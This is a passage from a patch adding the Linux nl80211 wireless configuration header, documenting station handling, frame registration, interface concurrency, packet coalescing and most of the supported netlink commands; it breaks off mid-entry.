+#define NL80211_GENL_NAME "nl80211"
+
+/**
+ * DOC: Station handling
+ *
+ * Stations are added per interface, but a special case exists with VLAN
+ * interfaces. When a station is bound to an AP interface, it may be moved
+ * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
+ * The station is still assumed to belong to the AP interface it was added
+ * to.
+ *
+ * Station handling varies per interface type and depending on the driver's
+ * capabilities.
+ *
+ * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
+ * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
+ * - a setup station entry is added, not yet authorized, without any rate
+ * or capability information, this just exists to avoid race conditions
+ * - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
+ * to add rate and capability information to the station and at the same
+ * time mark it authorized.
+ * - %NL80211_TDLS_ENABLE_LINK is then used
+ * - after this, the only valid operation is to remove it by tearing down
+ * the TDLS link (%NL80211_TDLS_DISABLE_LINK)
+ *
+ * TODO: need more info for other interface types
+ */
+
+/**
+ * DOC: Frame transmission/registration support
+ *
+ * Frame transmission and registration support exists to allow userspace
+ * management entities such as wpa_supplicant react to management frames
+ * that are not being handled by the kernel. This includes, for example,
+ * certain classes of action frames that cannot be handled in the kernel
+ * for various reasons.
+ *
+ * Frame registration is done on a per-interface basis and registrations
+ * cannot be removed other than by closing the socket. It is possible to
+ * specify a registration filter to register, for example, only for a
+ * certain type of action frame. In particular with action frames, those
+ * that userspace registers for will not be returned as unhandled by the
+ * driver, so that the registered application has to take responsibility
+ * for doing that.
+ *
+ * The type of frame that can be registered for is also dependent on the
+ * driver and interface type. The frame types are advertised in wiphy
+ * attributes so applications know what to expect.
+ *
+ * NOTE: When an interface changes type while registrations are active,
+ * these registrations are ignored until the interface type is
+ * changed again. This means that changing the interface type can
+ * lead to a situation that couldn't otherwise be produced, but
+ * any such registrations will be dormant in the sense that they
+ * will not be serviced, i.e. they will not receive any frames.
+ *
+ * Frame transmission allows userspace to send for example the required
+ * responses to action frames. It is subject to some sanity checking,
+ * but many frames can be transmitted. When a frame was transmitted, its
+ * status is indicated to the sending socket.
+ *
+ * For more technical details, see the corresponding command descriptions
+ * below.
+ */
+
+/**
+ * DOC: Virtual interface / concurrency capabilities
+ *
+ * Some devices are able to operate with virtual MACs, they can have
+ * more than one virtual interface. The capability handling for this
+ * is a bit complex though, as there may be a number of restrictions
+ * on the types of concurrency that are supported.
+ *
+ * To start with, each device supports the interface types listed in
+ * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
+ * types there no concurrency is implied.
+ *
+ * Once concurrency is desired, more attributes must be observed:
+ * To start with, since some interface types are purely managed in
+ * software, like the AP-VLAN type in mac80211 for example, there's
+ * an additional list of these, they can be added at any time and
+ * are only restricted by some semantic restrictions (e.g. AP-VLAN
+ * cannot be added without a corresponding AP interface). This list
+ * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
+ *
+ * Further, the list of supported combinations is exported. This is
+ * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
+ * it exports a list of "groups", and at any point in time the
+ * interfaces that are currently active must fall into any one of
+ * the advertised groups. Within each group, there are restrictions
+ * on the number of interfaces of different types that are supported
+ * and also the number of different channels, along with potentially
+ * some other restrictions. See &enum nl80211_if_combination_attrs.
+ *
+ * All together, these attributes define the concurrency of virtual
+ * interfaces that a given device supports.
+ */
+
+/**
+ * DOC: packet coalesce support
+ *
+ * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
+ * packets does not do anything with these packets. Therefore the
+ * reception of these unwanted packets causes unnecessary processing
+ * and power consumption.
+ *
+ * Packet coalesce feature helps to reduce number of received interrupts
+ * to host by buffering these packets in firmware/hardware for some
+ * predefined time. Received interrupt will be generated when one of the
+ * following events occur.
+ * a) Expiration of hardware timer whose expiration time is set to maximum
+ * coalescing delay of matching coalesce rule.
+ * b) Coalescing buffer in hardware reaches it's limit.
+ * c) Packet doesn't match any of the configured coalesce rules.
+ *
+ * User needs to configure following parameters for creating a coalesce
+ * rule.
+ * a) Maximum coalescing delay
+ * b) List of packet patterns which needs to be matched
+ * c) Condition for coalescence. pattern 'match' or 'no match'
+ * Multiple such rules can be created.
+ */
+
+/**
+ * enum nl80211_commands - supported nl80211 commands
+ *
+ * @NL80211_CMD_UNSPEC: unspecified command to catch errors
+ *
+ * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
+ * to get a list of all present wiphys.
+ * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
+ * %NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
+ * %NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
+ * attributes determining the channel width; this is used for setting
+ * monitor mode channel), %NL80211_ATTR_WIPHY_RETRY_SHORT,
+ * %NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ * and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
+ * However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
+ * instead, the support here is for backward compatibility only.
+ * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
+ * or rename notification. Has attributes %NL80211_ATTR_WIPHY and
+ * %NL80211_ATTR_WIPHY_NAME.
+ * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
+ *
+ * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
+ * either a dump request on a %NL80211_ATTR_WIPHY or a specific get
+ * on an %NL80211_ATTR_IFINDEX is supported.
+ * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
+ * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
+ * to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
+ * be sent from userspace to request creation of a new virtual interface,
+ * then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
+ * %NL80211_ATTR_IFNAME.
+ * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
+ * userspace to request deletion of a virtual interface, then requires
+ * attribute %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
+ * by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
+ * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
+ * %NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
+ * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
+ * %NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
+ * and %NL80211_ATTR_KEY_SEQ attributes.
+ * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
+ * or %NL80211_ATTR_MAC.
+ *
+ * @NL80211_CMD_GET_BEACON: (not used)
+ * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
+ * using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
+ * attributes. For drivers that generate the beacon and probe responses
+ * internally, the following attributes must be provided: %NL80211_ATTR_IE,
+ * %NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
+ * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
+ * are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
+ * do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
+ * %NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
+ * %NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
+ * %NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
+ * %NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
+ * %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
+ * %NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
+ * The channel to use can be set on the interface or be given using the
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
+ * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
+ * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
+ * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
+ *
+ * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all stations, on the interface identified
+ * by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
+ * %NL80211_ATTR_REASON_CODE can optionally be used to specify which type
+ * of disconnection indication should be sent to the station
+ * (Deauthentication or Disassociation frame and reason code for that
+ * frame).
+ *
+ * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_MPATH: Set mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
+ * %NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
+ * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
+ * %NL80211_ATTR_MAC.
+ * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all mesh paths, on the interface identified
+ * by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
+ * regulatory domain.
+ * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
+ * after being queried by the kernel. CRDA replies by sending a regulatory
+ * domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
+ * current alpha2 if it found a match. It also provides
+ * NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
+ * regulatory rule is a nested set of attributes given by
+ * %NL80211_ATTR_REG_RULE_FREQ_[START|END] and
+ * %NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
+ * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
+ * to the specified ISO/IEC 3166-1 alpha2 country code. The core will
+ * store this as a valid request and then query userspace for it.
+ *
+ * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
+ * interface is identified with %NL80211_ATTR_IFINDEX and the management
+ * frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
+ * added to the end of the specified management frame is specified with
+ * %NL80211_ATTR_IE. If the command succeeds, the requested data will be
+ * added to all specified management frames generated by
+ * kernel/firmware/driver.
+ * Note: This command has been removed and it is only reserved at this
+ * point to avoid re-using existing command number. The functionality this
+ * command was planned for has been provided with cleaner design with the
+ * option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
+ * NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_CMD_GET_SCAN: get scan results
+ * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
+ * specify a BSSID to scan for; if not included, the wildcard BSSID will
+ * be used.
+ * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
+ * NL80211_CMD_GET_SCAN and on the "scan" multicast group)
+ * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
+ * partial scan results may be available
+ *
+ * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
+ * intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
+ * Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
+ * are passed, they are used in the probe requests. For
+ * broadcast, a broadcast SSID must be passed (ie. an empty
+ * string). If no SSID is passed, no probe requests are sent and
+ * a passive scan is performed. %NL80211_ATTR_SCAN_FREQUENCIES,
+ * if passed, define which channels should be scanned; if not
+ * passed, all channels allowed for the current regulatory domain
+ * are used. Extra IEs can also be passed from the userspace by
+ * using the %NL80211_ATTR_IE attribute.
+ * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
+ * scheduled scan is not running. The caller may assume that as soon
+ * as the call returns, it is safe to start a new scheduled scan again.
+ * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
+ * results available.
+ * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
+ * stopped. The driver may issue this event at any time during a
+ * scheduled scan. One reason for stopping the scan is if the hardware
+ * does not support starting an association or a normal scan while running
+ * a scheduled scan. This event is also sent when the
+ * %NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
+ * is brought down while a scheduled scan was running.
+ *
+ * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
+ * or noise level
+ * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
+ * NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
+ *
+ * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
+ *
+ * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
+ * has been changed and provides details of the request information
+ * that caused the change such as who initiated the regulatory request
+ * (%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
+ * (%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
+ * the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
+ * %NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
+ * set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
+ * %NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
+ * to (%NL80211_ATTR_REG_ALPHA2).
+ * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
+ * has been found while world roaming thus enabling active scan or
+ * any mode of operation that initiates TX (beacons) on a channel
+ * where we would not have been able to do either before. As an example
+ * if you are world roaming (regulatory domain set to world or if your
+ * driver is using a custom world roaming regulatory domain) and while
+ * doing a passive scan on the 5 GHz band you find an AP there (if not
+ * on a DFS channel) you will now be able to actively scan for that AP
+ * or use AP mode on your card on that same channel. Note that this will
+ * never be used for channels 1-11 on the 2 GHz band as they are always
+ * enabled world wide. This beacon hint is only sent if your device had
+ * either disabled active scanning or beaconing on a channel. We send to
+ * userspace the wiphy on which we removed a restriction from
+ * (%NL80211_ATTR_WIPHY) and the channel on which this occurred
+ * before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
+ * the beacon hint was processed.
+ *
+ * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
+ * This command is used both as a command (request to authenticate) and
+ * as an event on the "mlme" multicast group indicating completion of the
+ * authentication process.
+ * When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
+ * interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
+ * BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
+ * the SSID (mainly for association, but is included in authentication
+ * request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
+ * to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
+ * is used to specify the authentication type. %NL80211_ATTR_IE is used to
+ * define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
+ * to be added to the frame.
+ * When used as an event, this reports reception of an Authentication
+ * frame in station and IBSS modes when the local MLME processed the
+ * frame, i.e., it was for the local STA and was received in correct
+ * state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
+ * MLME SAP interface (kernel providing MLME, userspace SME). The
+ * included %NL80211_ATTR_FRAME attribute contains the management frame
+ * (including both the header and frame body, but not FCS). This event is
+ * also used to indicate if the authentication attempt timed out. In that
+ * case the %NL80211_ATTR_FRAME attribute is replaced with a
+ * %NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
+ * pending authentication timed out).
+ * @NL80211_CMD_ASSOCIATE: association request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Association and Reassociation
+ * (similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
+ * MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
+ * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
+ * MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
+ * primitives).
+ * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
+ * MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
+ *
+ * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
+ * MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
+ * event includes %NL80211_ATTR_MAC to describe the source MAC address of
+ * the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
+ * type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
+ * %NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
+ * event matches with MLME-MICHAELMICFAILURE.indication() primitive
+ *
+ * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
+ * FREQ attribute (for the initial frequency if no peer can be found)
+ * and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
+ * should be fixed rather than automatically determined. Can only be
+ * executed on a network interface that is UP, and fixed BSSID/FREQ
+ * may be rejected. Another optional parameter is the beacon interval,
+ * given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
+ * given defaults to 100 TU (102.4ms).
+ * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
+ * determined by the network interface.
+ *
+ * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
+ * to identify the device, and the TESTDATA blob attribute to pass through
+ * to the driver.
+ *
+ * @NL80211_CMD_CONNECT: connection request and notification; this command
+ * requests to connect to a specified network but without separating
+ * auth and assoc steps. For this, you need to specify the SSID in a
+ * %NL80211_ATTR_SSID attribute, and can optionally specify the association
+ * IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
+ * %NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ * %NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
+ * %NL80211_ATTR_WIPHY_FREQ_HINT.
+ * If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
+ * restrictions on BSS selection, i.e., they effectively prevent roaming
+ * within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
+ * can be included to provide a recommendation of the initial BSS while
+ * allowing the driver to roam to other BSSes within the ESS and also to
+ * ignore this recommendation if the indicated BSS is not ideal. Only one
+ * set of BSSID,frequency parameters is used (i.e., either the enforcing
+ * %NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
+ * %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
+ * Background scan period can optionally be
+ * specified in %NL80211_ATTR_BG_SCAN_PERIOD,
+ * if not specified default background scan configuration
+ * in driver is used and if period value is 0, bg scan will be disabled.
+ * This attribute is ignored if driver does not support roam scan.
+ * It is also sent as an event, with the BSSID and response IEs when the
+ * connection is established or failed to be established. This can be
+ * determined by the STATUS_CODE attribute.
+ * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
+ * sent as an event when the card/driver roamed by itself.
+ * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
+ * userspace that a connection was dropped by the AP or due to other
+ * reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
+ * %NL80211_ATTR_REASON_CODE attributes are used.
+ *
+ * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
+ * associated with this wiphy must be down and will follow.
+ *
+ * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
+ * channel for the specified amount of time. This can be used to do
+ * off-channel operations like transmit a Public Action frame and wait for
+ * a response while being associated to an AP on another channel.
+ * %NL80211_ATTR_IFINDEX is used to specify which interface (and thus
+ * radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
+ * frequency for the operation.
+ * %NL80211_ATTR_DURATION is used to specify the duration in milliseconds
+ * to remain on the channel. This command is also used as an event to
+ * notify when the requested duration starts (it may take a while for the
+ * driver to schedule this time due to other concurrent needs for the
+ * radio).
+ * When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
+ * that will be included with any events pertaining to this request;
+ * the cookie is also used to cancel the request.
+ * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
+ * pending remain-on-channel duration if the desired operation has been
+ * completed prior to expiration of the originally requested duration.
+ * %NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
+ * radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
+ * uniquely identify the request.
+ * This command is also used as an event to notify when a requested
+ * remain-on-channel duration has expired.
+ *
+ * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
+ * rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
+ * and @NL80211_ATTR_TX_RATES the set of allowed rates.
+ *
+ * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
+ * (via @NL80211_CMD_FRAME) for processing in userspace. This command
+ * requires an interface index, a frame type attribute (optional for
+ * backward compatibility reasons, if not given assumes action frames)
+ * and a match attribute containing the first few bytes of the frame
+ * that should match, e.g. a single byte for only a category match or
+ * four bytes for vendor frames including the OUI. The registration
+ * cannot be dropped, but is removed automatically when the netlink
+ * socket is closed. Multiple registrations can be made.
+ * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
+ * backward compatibility
+ * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
+ * command is used both as a request to transmit a management frame and
+ * as an event indicating reception of a frame that was not processed in
+ * kernel code, but is for us (i.e., which may need to be processed in a
+ * user space application). %NL80211_ATTR_FRAME is used to specify the
+ * frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
+ * to indicate on which channel the frame is to be transmitted or was
+ * received. If this channel is not the current channel (remain-on-channel
+ * or the operational channel) the device will switch to the given channel
+ * and transmit the frame, optionally waiting for a response for the time
+ * specified using %NL80211_ATTR_DURATION. When called, this operation
+ * returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
+ * TX status event pertaining to the TX request.
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * management frames at CCK rate or not in 2GHz band.
+ * %NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
+ * counters which will be updated to the current value. This attribute
+ * is used during CSA period.
+ * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
+ * command may be used with the corresponding cookie to cancel the wait
+ * time if it is known that it is no longer necessary.
+ * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
+ * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
+ * transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
+ * the TX command and %NL80211_ATTR_FRAME includes the contents of the
+ * frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
+ * the frame.
+ * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
+ * backward compatibility.
+ *
+ * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
+ * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
+ *
+ * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
+ * is used to configure connection quality monitoring notification trigger
+ * levels.
+ * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
+ * command is used as an event to indicate the that a trigger level was
+ * reached.
+ * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
+ * and the attributes determining channel width) the given interface
+ * (identifed by %NL80211_ATTR_IFINDEX) shall operate on.
+ * In case multiple channels are supported by the device, the mechanism
+ * with which it switches channels is implementation-defined.
+ * When a monitor interface is given, it can only switch channel while
+ * no other interfaces are operating to avoid disturbing the operation
+ * of any other interfaces, and other interfaces will again take
+ * precedence when they are used.
+ *
+ * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
+ *interface.
+ *
+ * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
+ * mesh config parameters may be given.
+ * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
+ * notification. This event is used to indicate that an unprotected
+ * deauthentication frame was dropped when MFP is in use.
+ * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
+ * notification. This event is used to indicate that an unprotected
+ * disassociation frame was dropped when MFP is in use.
+ *
+ * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
+ * beacon or probe response from a compatible mesh peer. This is only
+ * sent while no station information (sta_info) exists for the new peer
+ * candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE, or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM is set. On reception of this
+ * notification, userspace may decide to create a new station
+ * (@NL80211_CMD_NEW_STATION). To stop this notification from
+ * reoccurring, the userspace authentication daemon may want to create the
+ * new station with the AUTHENTICATED flag unset and maybe change it later
+ * depending on the authentication result.
+ *
+ * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
+ * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
+ * Since wireless is more complex than wired ethernet, it supports
+ * various triggers. These triggers can be configured through this
+ * command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
+ * more background information, see
+ * http://wireless.kernel.org/en/users/Documentation/WoWLAN.
+ * The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
+ * from the driver reporting the wakeup reason. In this case, the
+ * @NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
+ * for the wakeup, if it was caused by wireless. If it is not present
+ * in the wakeup notification, the wireless device didn't cause the
+ * wakeup but reports that it was woken up.
+ *
+ * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
+ * the necessary information for supporting GTK rekey offload. This
+ * feature is typically used during WoWLAN. The configuration data
+ * is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
+ * contains the data in sub-attributes). After rekeying happened,
+ * this command may also be sent by the driver as an MLME event to
+ * inform userspace of the new replay counter.
+ *
+ * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
+ * of PMKSA caching dandidates.
+ *
+ * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
+ * In addition, this can be used as an event to request userspace to take
+ * actions on TDLS links (set up a new link or tear down an existing one).
+ * In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
+ * operation, %NL80211_ATTR_MAC contains the peer MAC address, and
+ * %NL80211_ATTR_REASON_CODE the reason code to be used (only with
